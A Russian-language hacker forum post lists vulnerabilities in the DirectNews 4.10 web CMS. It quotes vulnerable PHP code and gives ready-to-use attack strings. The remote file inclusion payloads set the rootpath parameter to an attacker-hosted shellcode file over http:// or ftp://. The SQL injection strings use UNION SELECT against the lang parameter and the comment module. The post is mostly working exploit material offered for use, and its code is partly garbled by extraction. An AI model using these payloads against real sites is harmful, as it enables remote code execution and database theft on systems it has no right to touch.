Показать сообщение отдельно

Уязвимости DirectNews
  #253  
Старый 11.12.2009, 16:11
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию Уязвимости DirectNews

Product: DirectNews
Author: http://www.direct-news.fr/
Version: 4.10


RFI

Необходимо для правильной работы RFI! register_globals = ON and allow_url_open = ON!

file: /admin/menu.php
PHP код:
if (empty($from_inc))
{
    
header('HTTP/1.1 403 Forbidden');
    
$rootpath '..';
    require_once (
$rootpath .'/templates/error/HTTP_FORBIDDEN.php');
     die();
}
include_once 
$rootpath .'/library/lib.menu.php';
include_once 
$rootpath .'/modules/menu/lib/treemenu.inc.php'
target:?from_inc=1&rootpath=http://yousite.ru/shellcode.txt?

file: /admin/menu_xml.php
PHP код:
include_once $rootpath .'/library/lib.menu.php';
include_once 
$rootpath .'/modules/menu/lib/treemenu.inc.php'
target:?rootpath=http://yousite.ru/shellcode.txt?

file: /inc.php
PHP код:
if (empty($from_inc))
{
    
header('HTTP/1.1 403 Forbidden');
     
$rootpath '../..';
    require_once (
'../../templates/error/HTTP_FORBIDDEN.php');
     die();
}

include_once 
$rootpath .'/modules/menu/lib/PHPLIB.php';
include_once 
$rootpath .'/modules/menu/lib/layersmenu-common.inc.php';
include_once 
$rootpath .'/library/lib.menu.php'
Как видно,проверяеться наличие конфига,и только после - инклуд.Заинклудить из http:// неполучиться,зато file_exists(); отлично работает с ftp
target:?rootpath=ftp://userassword@yaouftp.ru/shellcode.txt?

file: /modules/menu/menu_layer.php
PHP код:
if (empty($from_inc))
{
    
header('HTTP/1.1 403 Forbidden');
     
$rootpath '../..';
    require_once (
'../../templates/error/HTTP_FORBIDDEN.php');
     die();
}

include_once 
$rootpath .'/modules/menu/lib/PHPLIB.php';
include_once 
$rootpath .'/modules/menu/lib/layersmenu-common.inc.php';
include_once 
$rootpath .'/library/lib.menu.php'
Тут попроще.
target:?from_inc=3&rootpath=http://yousite.ru/shellcode.txt?


file: /admin/inc.php
PHP код:
i$from_inc true

header("Content-Type: text/html; charset=utf-8");

if (!
file_exists($rootpath .'/config.php')) {
    
header('Location: '$adminroot .'/install/');
    die();
}

// Compatibilite entre les versions de PHP
require_once $rootpath .'/library/lib.compatibility.php';

// gestion de session
require_once $rootpath .'/library/class.config.php';
require_once 
$rootpath .'/modules/panier/class.panier_article.php'
Как видно,проверяеться наличие конфига,и только после - инклуд.Заинклудить из http:// неполучиться,зато file_exists(); отлично работает с ftp
target:?rootpath=ftp://userassword@yaouftp.ru/shellcode.txt?

Blind SQL-inj

file: /index.php
PHP код:
if (isset($_GET['lang']))
{
    
$_SESSION[DN_UID]['lg'] = $_GET['lang'];
}
else
{
    
$_SESSION[DN_UID]['lg'] = $_GET['lg'];
}

$lg $_SESSION[DN_UID]['lg'];

$requete 'SELECT code 
            FROM '
$name_table_language .
            WHERE code = "'
$lg .'" 
            AND site = "1"'
;
$resultat mysql_query($requete); 
target:В таблие 7 полей ?lang=1'+union+select+1,2,3,4,5,7/*

file: /modules/ajax/remote.php
PHP код:
if (isset($_POST['ajax']))
{
    switch (
$_POST['ajax'])
    {
        case 
'showComments' :
                            print(
showComments($_POST));
            break;
        case 
'postComment'    :
                            print(
postComment($_POST));
            break;
        default : print(
true);
            break;
    }
}
/
Функция/
function 
postComment($post)
{
    global 
$rootpath$lg$name_table_commentaires;
    
    if (!empty(
$post['noMessage']))
    {
        
$author            = !empty($post['author']) ? $post['author'] : '';
        
$email            = !empty($post['email']) ? $post['email'] : '';
        
$url            = !empty($post['url']) ? $post['url'] : '';
        
$text_comment    = !empty($post['text_comment']) ? $post['text_comment'] : '';
        
        
$tri            getSqlValue('SELECT MAX(tri) + 1 FROM '$name_table_commentaires .' WHERE noMessage = '$post['noMessage']); 
target:9 columns

Последний раз редактировалось m0Hze; 11.12.2009 в 16:19..
 
Ответить с цитированием